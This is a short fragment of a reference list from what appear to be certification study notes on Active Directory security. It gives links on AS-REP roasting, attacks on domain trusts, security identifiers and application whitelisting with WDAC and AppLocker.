3. https://blog.netwrix.com/2022/11/03/cracking_ad_password_with_as_rep_roasting/
AS-REP roasting
4. https://harmj0y.medium.com/a-guide-to-attacking-domain-trusts-ef5f8992bb9d
5. https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers
CRTP Notes 32
6. https://www.paloaltonetworks.com/blog/security-operations/stopping-powershell-without-powershell/
7. https://improsec.com/tech-blog/one-thousand-and-one-application-blocks
WDAC vs AppLocker
CRTP Notes 33